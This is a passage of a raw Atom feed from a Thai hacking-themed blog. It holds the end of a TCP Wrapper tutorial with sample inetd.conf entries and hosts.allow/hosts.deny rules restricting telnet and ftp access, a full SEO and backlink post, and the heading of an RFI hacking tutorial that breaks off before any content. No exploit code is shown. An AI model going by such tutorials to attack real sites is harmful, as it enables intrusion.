Server เราก็ควรให้ httpd ทำงานในแบบ Stand-alone ส่วน telnetd, ftpd มีผู้ใช้ไม่บ่อยนัก ก็ให้&lt;br /&gt;
อยู่ใต้ Inetd&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; การที่เราจะให้ Server ใดทำงานภายใต้ Inetd เราจะต้องใส่ไว้ในไฟล์ /etc/inetd.conf&lt;br /&gt;
ตัวอย่างบรรทัดในไฟล์ /etc/inetd.conf สำหรับ FTP, TELNET, POP3 Server มีดังนี้&lt;br /&gt;
&lt;br /&gt;
ftp&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; stream&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; tcp&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; nowait&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; root&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; /usr/sbin/tcpd&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; wu.ftpd&amp;nbsp; -l&amp;nbsp; -i&amp;nbsp; -a&lt;br /&gt;
telnet&amp;nbsp;&amp;nbsp;&amp;nbsp; stream&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; tcp&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; nowait &amp;nbsp; &amp;nbsp;&amp;nbsp; root&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; /usr/sbin/tcpd&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; in.telnetd&lt;br /&gt;
pop3&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; stream&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; tcp&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; nowait&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; root&amp;nbsp;&amp;nbsp;&amp;nbsp; /usr/sbin/in.pop3d &amp;nbsp;&amp;nbsp; in.pop3d&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp; ในบรรทัดที่ 3 (pop3) นั้น จะเห็นว่าใน Field ที่ 6 และ 7 ต่างชี้ไปที่ /usr/sbin/in.pop3d&lt;br /&gt;
กรณีนี้ถ้ามีคำขอใช้บริการ pop3 inetd ก็จะทำการเรียกโปรแกรม /usr/sbin/in.pop3d นั่นเอง ส่วน&lt;br /&gt;
ในบรรทัดของ ftp และ telnet ใน Field ที่ 6 จะเป็น /usr/sbin/tcpd ซึ่งคือตัวโปรแกรม TCPWrapper&lt;br /&gt;
นั่นเอง กรณีนี้เวลามีผู้ขอใช้บริการ ftp หรือ telnet มายังเครื่องของเรา Inetd จะเรียก&lt;br /&gt;
โปรแกรม tcpd (TCP Wrapper) ก่อน ซึ่งจะทำการตรวจสอบว่าผู้ใช้มีสิทธิ์ที่จะใช้บริการของเรา&lt;br /&gt;
หรือไม่ ถ้ามีก็จะทำการเรียก /usr/sbin/wu.ftpd หรือ /usr/sbin/in.telnetd ต่อไป&lt;br /&gt;
ไฟล์ที่ TCP-Wrapper ใช้สำหรับเก็บเงื่อนไขสิทธิในการใช้บริการ มีอยู่ 2 ไฟล์ คือ /etc/&lt;br /&gt;
hosts.allow และ /etc/hosts.deny&lt;br /&gt;
&lt;br /&gt;
• hosts.allow เป็นไฟล์ที่ใช้สำหรับแสดงรายละเอียดเงื่อนไขต่างๆ ที่ตั้งไว้ว่า อนุญาต&lt;br /&gt;
ให้ใคร (จาก IP หรือ host) เข้ามาทำงานกับเครื่องของเราได้บ้าง&lt;br /&gt;
&lt;br /&gt;
• hosts.deny เป็นไฟล์ที่ใช้สำหรับแสดงรายละเอียดเงื่อนไขต่างๆ ที่ตั้งไว้ว่า ไม่&lt;br /&gt;
อนุญาตให้ใคร (จาก IP หรือ host) เข้ามาทำงานกับเครื่องของเราได้บ้าง&lt;br /&gt;
โดยมีรูปแบบการตั้งค่าดังนี้&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;รายชื่อบริการ&amp;gt;: &amp;lt;เงื่อนไขในการให้บริการ&amp;gt;&lt;br /&gt;
&lt;br /&gt;
รายชื่อบริการ คือชื่อของ application หรือ service ต่างๆ ของ Server นั้นๆ ที่เรา&lt;br /&gt;
กำหนดให้มันทำงานภายใต้ Inetd เช่น ftpd, fingerd เป็นต้น (ตรงกับใน Field แรก ของ&lt;br /&gt;
/etc/inetd.conf ) ถ้าเป็นคำว่า ALL หมายความว่า ทุกบริการที่มีปรากฏใน Inetd&lt;br /&gt;
เงื่อนไขในการให้บริการ อาจเป็นรายชื่อของโดเมนเนม เช่น utcc.ac.th, loxinfo.co.th,&lt;br /&gt;
nectec.or.th&lt;br /&gt;
&lt;br /&gt;
หรือ IP Address เช่น 203.150.154.1, 164.115.115. เป็นต้น&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; ในการกำหนดค่าต่างๆ ในไฟล์ hosts.allow และ hosts.deny จะใช้รูปแบบข้างต้น ในไฟล์&lt;br /&gt;
hosts.allow จะหมายถึงการอนุญาต ในไฟล์ hosts.deny จะหมายถึงการปฏิเสธ เราสามารถสร้าง&lt;br /&gt;
เงื่อนไขต่างๆ ได้หลายเงื่อนไขภายในไฟล์เดียวกัน แต่ต้องไม่ขัดแย้งกันทั้งในไฟล์เดียวกัน และ&lt;br /&gt;
ระหว่างไฟล์ hosts.allow กับ hosts.deny ด้วย (ความจริง เราใช้แค่ไฟล์ใดไฟล์หนึ่งก็เพียงพอ ถ้า&lt;br /&gt;
บริการของเรา ส่วนใหญ่ปิดเปิดให้กับบางคนเท่านั้น ก็ควรใช้ hosts.deny แต่ถ้าบริการของเรา&lt;br /&gt;
ส่วนใหญ่เปิดปิดสำหรับบางคนเท่านั้น ก็ควรใช้ hosts.allow) ตัวอย่างดังนี้&lt;br /&gt;
อนุญาตให้ใช้งานได้ทุกอย่างจากทุกเครื่อง&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp; ที่ไฟล์&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; hosts.allow ALL : ALL&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp; อนุญาตให้ใช้งานได้ทุกอย่างจากทุกเครื่อง ยกเว้นจาก IP 202.28.8.5&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; ที่ไฟล์&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; hosts.allow ALL : ALL EXCEPT 202.28.8.5&lt;br /&gt;
&lt;br /&gt;
อนุญาตให้ใช้งานได้ทุกอย่าง ยกเว้น ftp จากทุกเครื่อง ยกเว้นจาก domain 202.28.8&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; ที่ไฟล์&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; hosts.allow ALL EXCEPT in.ftpd : ALL EXCEPT 202.28.8.&lt;br /&gt;
&lt;br /&gt;
ไม่อนุญาตให้ใช้งานทุกอย่าง จากเฉพาะ IP 202.28.8.15 กับ 202.28.9.6&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; ที่ไฟล์ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp; hosts.deny ALL : 202.28.8.15, 202.28.9.6&lt;br /&gt;
&lt;br /&gt;
ไม่อนุญาต ให้ใช้งานทุกอย่าง ยกเว้น finger จากทุกเครื่องบน domain nectec.or.th&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; ที่ไฟล์&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; hosts.deny ALL EXCEPT in.fingerd : .nectec.or.th&lt;br /&gt;
&lt;br /&gt;
(โปรดสังเกตเครื่องหมายจุด หน้า nectec.or.th)&lt;br /&gt;
ไม่อนุญาตให้ใช้งานทุกอย่าง ยกเว้น ftp จากทุกเครื่องบน domain nectec.or.th และไม่&lt;br /&gt;
อนุญาตให้เครื่องทุกเครื่องเข้ามาในเครือข่าย ยกเว้นเครื่องภายใน domain utcc.ac.th&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ที่ไฟล์ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp; hosts.deny ALL EXCEPT wu.ftpd : .nectec.or.th&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp; ALL : ALL EXCEPT .utcc.ac.th&lt;br /&gt;
&lt;br /&gt;
โปรดสังเกตคำว่า wu.ftpd นำมาจาก Field ที่ 6 ของบรรทัดของ ftpd ใน /etc/inetd.conf&lt;br /&gt;
ในเครื่องของท่านอาจแตกต่างออกไป&lt;br /&gt;
&lt;br /&gt;
สำหรับเครื่องที่ใช้ซอฟต์แวร์ Linux-SIS เวอร์ชัน 2.0 ขึ้นไปจะมีการติดตั้ง TCP Wrapper&lt;br /&gt;
มาให้เรียบร้อยแล้วโดยมีข้อความในไฟล์ทั้งสองดังนี้&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; /etc/hosts.allow &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; -ไม่มีข้อความ-&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; /etc/hosts.deny in.telnetd:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ALL EXCEPT 192.168.1.&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; in.ftpd: ALL EXCEPT 192.168.1.&lt;br /&gt;
&lt;br /&gt;
หมายความว่า ไม่อนุญาตให้ทำการ telnet หรือจากเครื่องใดๆ ยกเว้นเครื่องที่มี IP Address&lt;br /&gt;
ขึ้นต้นด้วย 192.168.1 (เช่น 192.168.1.1, 192.168.1.2, ...)&lt;br /&gt;
&lt;br /&gt;
ท่านสามารถเพิ่มเติมแก้ไขไฟล์เหล่านี้ได้ตามความต้องการของท่าน (โปรดระวัง ไม่ควร&lt;br /&gt;
อนุญาตให้ผู้ใช้ใดๆ สามารถทำการ telnet/ftp มายังเครื่องเราได้โดยไม่จำเป็นเป็นอันขาด)&lt;br /&gt;
&lt;br /&gt;
ระบบ Unix สมัยใหม่ส่วนใหญ่ จะมีการติดตั้ง TCP-Wrapper มาให้เรียบร้อยแล้ว ท่าน&lt;br /&gt;
สามารถตรวจสอบโดยการค้นหาว่ามีไฟล์ชื่อ tcpd (ตามปกติจะอยู่ใน /usr/sbin) หรือไม่ ถ้ามีอยู่&lt;br /&gt;
แล้ว ท่านก็เพียงแก้ไขไฟล์ /etc/inetd.conf, /etc/hosts.allow, /etc/hosts.deny ให้เป็นตามต้องการ&lt;br /&gt;
หากพบว่ายังไม่มี ท่านสามารถดาวน์โหลดต้นฉบับของซอฟต์แวร์ TCP-Wrapper ได้ที่&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;ftp://ftp .win.tue.nl/pub/security/&quot;&gt;ftp://ftp .win.tue.nl/pub/security/&lt;/a&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2982753419959124282/posts/default/729021118247290890'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2982753419959124282/posts/default/729021118247290890'/><link rel='alternate' type='text/html' href='http://kiss-hack.blogspot.com/2013/12/tcp-wrapper-how-to.html' title='TCP Wrapper คืออะไร?'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhB9QpgqCEdSpIeL3F2aLurP7YD7KYXNhmtuv_o0UAxNqlU8jbNl5UNQpkPmugE2pywsJiDbjlpfR5BiSCfYHwN3VHWYQ7uKQKCoOJII7NGrsrHKEKzgyrNng2wT8JnUpOBnpoUm7c99URL/s72-c/tcp-wrappers-envolturas_1_609369-1.jpg" height="72" width="72"/></entry><entry><id>tag:blogger.com,1999:blog-2982753419959124282.post-1398163734176242350</id><published>2013-11-29T22:05:00.000+07:00</published><updated>2013-11-29T22:22:57.680+07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Index"/><category scheme="http://www.blogger.com/atom/ns#" term="PHP เบื้องต้น"/><category scheme="http://www.blogger.com/atom/ns#" term="สอนเขียน PHP"/><category scheme="http://www.blogger.com/atom/ns#" term="เขียนเว็บ"/><title type='text'>หลักของการทำ SEO</title><content type='html'>&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhtflec7EkAxOyqkIOdWvrOLf-xsFjnfgqcfUEGg24tMfytrOxSle1Yyk3BHgasSHgSvhrZlKdl9OvyT1YRFW8eZB06UYj8M2CJh28fDneXUS6-iEKTR4ahnB69E2d70aPa9Tsq_RY6FVUY/s1600/seo_keywords.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;191&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhtflec7EkAxOyqkIOdWvrOLf-xsFjnfgqcfUEGg24tMfytrOxSle1Yyk3BHgasSHgSvhrZlKdl9OvyT1YRFW8eZB06UYj8M2CJh28fDneXUS6-iEKTR4ahnB69E2d70aPa9Tsq_RY6FVUY/s320/seo_keywords.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&lt;br /&gt;ผู้อ่านหลาย ๆ คนเริ่มรู้แล้วว่า SEO คืออะไร และมีความสำคัญอย่างไร (หากเป็นผู้อ่านที่ไม่มีความรู้พื้นฐานอะไรเลย ผมแนะนำให้อ่านบทความเดิมตามลิ้งค์เลยนะครับ) แต่สำหรับผู้อ่านที่เริ่มเข้าใจถึงความสำคัญของ SEO แล้ว อาจะมีความสงสัยว่าการทำ SEO นั้นเค้าทำกันยังไง ซึ่งนั่นก็เป็นอะไรที่ผมกำลังจะอธิบายในบทความนี้นั่นเอง แต่คงไม่ได้ลงไปถึงรายละเอียดที่ลึกมาก เอาเพียงแค่ภาพรวมก่อนดีกว่า ไม่งั้นอาจจะจำกันไม่หมดหรือไม่ก็งงกันไปใหญ่ได้เลยทีเดียวเชียว&lt;br /&gt;&lt;br /&gt;วิธีการปรับแต่ง SEO ถูกแบ่งแยกออกเป็นสองส่วนหลัก ๆ คือ SEO onpage และ SEO offpage ซึ่งทั้งสองแบบนี้ถ้าจะให้พูดกันง่าย ๆ ก็คือ การปรับแต่ง SEO โดยอาศัยปัจจัยภายใน (On-page) และปัจจัยภายนอก (Off-page) นั่นเอง… คำพวกนี้ หลาย ๆ ท่านอาจจะเคยฟังผ่านมาแล้ว แต่ยังไม่เข้าใจ ว่ามันคืออะไรกันแน่ หากเป็นแบบนั้น ก็ลองมาดูคำอธิบายที่ละเอียดขึ้นมาอีกหน่อยกันดีกว่า&lt;br /&gt;&lt;br /&gt;การปรับแต่ง SEO โดยอาศัยปัจจัยภายใน (SEO On-page) ก็คือการใช้ทุกสรรพสิ่งที่เราสามารถ Control ได้ในเว็บไซต์ของเราเองมาช่วยให้อันดับ (Ranking) ของผลลัพธ์ในการ search ดีขึ้นนั่นเอง ผู่อ่านอ่านหลายท่าน “อาจจะถามว่าแล้วอะไรบ้างล่ะที่เรา controlได้ในเว็บไซต์เรา?” ซึ่งคำตอบของคำถามนั้่นก็ตัวอย่างเช่น เนื้อหาภายในเว็บ, ชื่อหัวเรื่องของหน้าเว็บ (title tag), คำอธิบายหน้าเว็บ (meta description ถึงในปัจจุบันไม่มีผลกับอันดับแล้ว แต่มีผลกับการ user ในการ click เลือกผลลัพธ์), การใช้ link ที่เชื่อมไปยังหน้าอื่น ๆ ภายในเว็บเรา internal linking), ชื่อโดเมน (domain name), ชื่อไฟล์ (file name), และอื่น ๆ ที่เราสามารถปรับแต่งได้เอง ในเว็บไซต์ของเรา&lt;br /&gt;&lt;br /&gt;ในทางตรงกันข้าม การปรับแต่ง SEO Off-page ก็คือการอาศัยปัจจัยภายนอกมาทำให้อันดับของเว็บเราดีขึ้น เช่น การเพิ่ม link จากเว็บอื่น ๆ ให้ link กลับมาหาเรา (link building) นั่นเอง ซึ่งมีทั้งการทำแบบที่ถูกต้องตามหลักคำแนะนำของ Search Engine (White Hat) และการอาศัยเทคนิคต่าง ๆ ที่ได้ผลเร็ว แต่ไม่ค่อยจะถูกหลักที่ Search Engine อยากให้เป็น (Black Hat) มาช่วยการจัดอันดับ … ในสถานการณ์ปัจจุบันตรงส่วนของการหา back link นี้ถูกมองไปถึงการทำ Online Marketing ด้วย เพราะ Online Marketing จะทำให้เราได้ backlink และ traffic มากขึ้น แต่จะดีขนาดไหนนั้นก็ต้องอยู่กับความเทพ ของคุณเองด้วย&lt;br /&gt;&lt;br /&gt;ก็คงจบเรื่อง SEO on-page และ SEO off-page ไว้ตรงนี้ ส่วนรายละเอียดแบบลงลึกของแต่ละชนิด ไว้ค่อยว่ากันในบทถัด ๆ ไปดีกว่า แต่ยังไงตอนนี้หากใครพูดถึง SEO on-page และ off-page ให้คุณได้ยินอีก คุณก็คงจะไม่งงอีกแล้&lt;br /&gt;&lt;br /&gt;
&lt;br /&gt; &lt;br /&gt;
Backlink คืออะไร แล้วมันสำคัญยังไง&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;BackLink&lt;/strong&gt; คือ Link ที่วิ่งเข้ามาหาเว็บใดก็ตาม เว็บใดเว็บหนึ่ง&lt;br /&gt; &lt;br /&gt;

  &lt;b&gt;&lt;br /&gt;BackLink สำคัญอย่างไร ?&lt;/b&gt; เรื่องนี้ผมคืออธิบายนะครับว่า 
ปัจจัยหลักเลยที่จะทำให้เว็บไซด์เราดังขึ้นมา และ ติดอันดับนั้น&amp;nbsp;ใน Search 
Engine ค่ายต่างๆ โดยเฉพาะ Google สิ่งสำคัญอย่างนึง ก็คือการทำ 
BackLink&amp;nbsp;นี่แหละครับ โดย Bot ของ Search 
Engine&amp;nbsp;ทั้งหลายจะจัดอันดับ&amp;nbsp;เพื่อให้&lt;br /&gt;
  คะแนน และ คุณภาพของเว็บไซด์จาก BackLink&amp;nbsp;จำนวมาก นั้นแหละครับ แต่อย่างที่ผมเคยบอกไว้ในบทความก่อนๆ คือ BackLink&amp;nbsp;ของคุณต้อง&lt;br /&gt;
  เป็น BackLink ที่มีคุณภาพด้วยเช่นกัน&amp;nbsp;อืม..ประมาณว่า 
สมมุติคุณทำเว็บเกี่ยวกับการเรียนการสอน แต่กลับมามี link 
มาจากเว็บรวมรูป&amp;nbsp;Search Engine ก็จะมองว่าเราทำ Spam BackLink 
&amp;nbsp;เพราะมันดูไม่เป็นธรรมชาติ เราควรมี BackLink 
ที่มาจากเว็บที่มีเนื้อหาสอดคล้องเก็บเว็บของเรา จะทำให้&amp;nbsp;BackLink เป็น 
BackLink&amp;nbsp;ที่เป็นธรรมชาติ&lt;br /&gt;

 
  &lt;br /&gt;

 
  &lt;b&gt;BackLink ต้องห้าม&lt;/b&gt; ข้อนี้สำคัญมากนะครับ การที่มี BackLink&amp;nbsp;มากๆ นั้นเป็นสิ่งที่ดีก็จริงอยู่แต่หากคุณมี&amp;nbsp;BackLink&amp;nbsp;จากเว็บที่ไม่ควรมีแล้วล่ะก็&lt;br /&gt;
  ต่อให้เป็นเว็บไซด์ที่มีเนื้อหาสอดคล้องกับเว็บของเราแค่ไหนก็ตาม 
แววโดนแบนก็จะมาที่เว็บคุณแน่นอน แล้วเว็บอะไรล่ะที่ห้ามไปมี BackLink&lt;br /&gt;
  ด้วย เว็บที่เราห้ามไปมี BackLink ด้วยอย่างเด็ดขาด 
ก็คือเว็บที่ถูกแบนจาก Search Engine นั่นเอง 
แล้วจะรู้ได้อย่างไรว่าเว็บที่จะมาแลก link กับเรา 
หรือเว็บที่เราจะโพสต่อไปนั้นเป็นเว็บที่ถูก แบน รึปล่าว ? เราสามารถ Check
 ได้ครับ โดยเข้าไปที่ &lt;a href=&quot;http://www.isbanned.com/&quot;&gt;http://www.isbanned.com/&lt;/a&gt; แล้ว&lt;br /&gt;
  ลองพิมพ์ URL ของเว็บที่ท่านกำลังจะคบค้าสมาคมด้วยดูนะครับว่าควรจะ 
คบกับเว็บไซด์เหล่านั้นด้วยดีมั้ย และสำหรับคนที่ทำ BlackLink มาเยอะแล้ว 
แลก link&amp;nbsp;มาเต็มเว็บแล้วให้เข้า &lt;a href=&quot;http://www.bad-neighborhood.com/text-link-tool.htm&quot;&gt;http://www.bad-neighborhood.com/text-link-tool.htm&lt;/a&gt; เลยครับเพื่อเช็คทีเดียวทั้งเว็บ&amp;nbsp; ว่าเราไปมีเว็บอะไรรึเปล่าที่โดนแบนไม้ควรคบค้าสมาคมด้วย&amp;nbsp;จะได้รีบเอาออกอย่างทันถ่วงทีนะครับ&lt;br /&gt;

 
  &lt;br /&gt;

 
  อย่างไรก็ดี การหมั่นอัพเดทเว็บไซด์บ่อยๆ ด้วยเนื่้อหาของท่านเองไม่ก๊อบใคร &lt;b&gt;Unique Content&lt;/b&gt;
 นั่นก็เป็นสิ่งที่สำคัญที่สุดอยู่ดีครับ เพราะว่า แม้เราจะมี 
BackLink&amp;nbsp;เยอะแค่ไหนก็ตามหากคนคลิกเข้ามาพบเนื้อหาไม่น่าสนใจ และ&amp;nbsp;ไม่อัพเดท
 บ่อยๆ คนก็ไม่เข้ามาอยู่ดีครับ ควรหมั้นอัพเดท &lt;b&gt;Content&lt;/b&gt; ให้สอดคล้องกับ BackLink&amp;nbsp;ที่เป็นธรรมชาติ แล้วเว็บคุณก็จะมีอันดับที่ดีขึ้นเองครับ&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: red;&quot;&gt;ขอขอบคุณบทความจาก&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: red;&quot;&gt;http://www.sciartseo.com/&lt;br /&gt;http://seo.clisk.co.th&lt;/span&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2982753419959124282/posts/default/1398163734176242350'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2982753419959124282/posts/default/1398163734176242350'/><link rel='alternate' type='text/html' href='http://kiss-hack.blogspot.com/2013/11/onpage-offpage-backlink-seo.html' title='หลักของการทำ SEO'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhtflec7EkAxOyqkIOdWvrOLf-xsFjnfgqcfUEGg24tMfytrOxSle1Yyk3BHgasSHgSvhrZlKdl9OvyT1YRFW8eZB06UYj8M2CJh28fDneXUS6-iEKTR4ahnB69E2d70aPa9Tsq_RY6FVUY/s72-c/seo_keywords.jpg" height="72" width="72"/></entry><entry><id>tag:blogger.com,1999:blog-2982753419959124282.post-6098175820810447161</id><published>2013-11-23T17:04:00.000+07:00</published><updated>2013-11-23T17:16:49.949+07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Hack"/><category scheme="http://www.blogger.com/atom/ns#" term="Hack Web"/><category scheme="http://www.blogger.com/atom/ns#" term="Linux"/><category scheme="http://www.blogger.com/atom/ns#" term="PHP เบื้องต้น"/><category scheme="http://www.blogger.com/atom/ns#" term="script"/><category scheme="http://www.blogger.com/atom/ns#" term="กลโกง Hacker Web"/><category scheme="http://www.blogger.com/atom/ns#" term="สอนHack"/><category scheme="http://www.blogger.com/atom/ns#" term="แฮกเว็บ"/><title type='text'>การ Hack ด้วยช่องโหว่ RFI (Remote File Inclusion)</title><content type='html'>&lt;h3 class=&quot;post-title entry-title&quot; itemprop=&quot;name&quot;&gt;
&amp;nbsp;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhTvua9b2r3vtI28SuEDHHkPlzooWFp1ATYna5gC0rVVHXVWt6T2qYmjF-pg8JAc0lrChN3wj6Vy01s2qb78pJPGb49v5mw_Pn_pK11kEscYt25FLH6oJj4DdYMO-q_pSXXUjDdL857msXK/s1600/Untitled-1.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;256&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhTvua9b2r3vtI28SuEDHHkPlzooWFp1ATYna5gC0rVVHXVWt6T2qYmjF-pg8JAc0lrChN3wj6Vy01s2qb78pJPGb49v5mw_Pn_pK11kEscYt25FLH6oJj4DdYMO-q_pSXXUjDdL857msXK/s320/Untitled-1.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;/h3&gt;
&lt;h3 class=&quot;post-title entry-title&quot; itemprop=&quot;name&quot;&gt;
&amp;nbsp;&lt;/h3&gt;
&lt;h3 class=&quot;post-title entry-title&quot; itemprop=&quot;name&quot;&gt;
ช่องโหว่ RFI(Remote File Inclusion) hacking 
&lt;/h3&gt;
&lt;div class=&quot;post-header&quot;&gt;
&lt;/div&gt;
&lt;br /&gt;
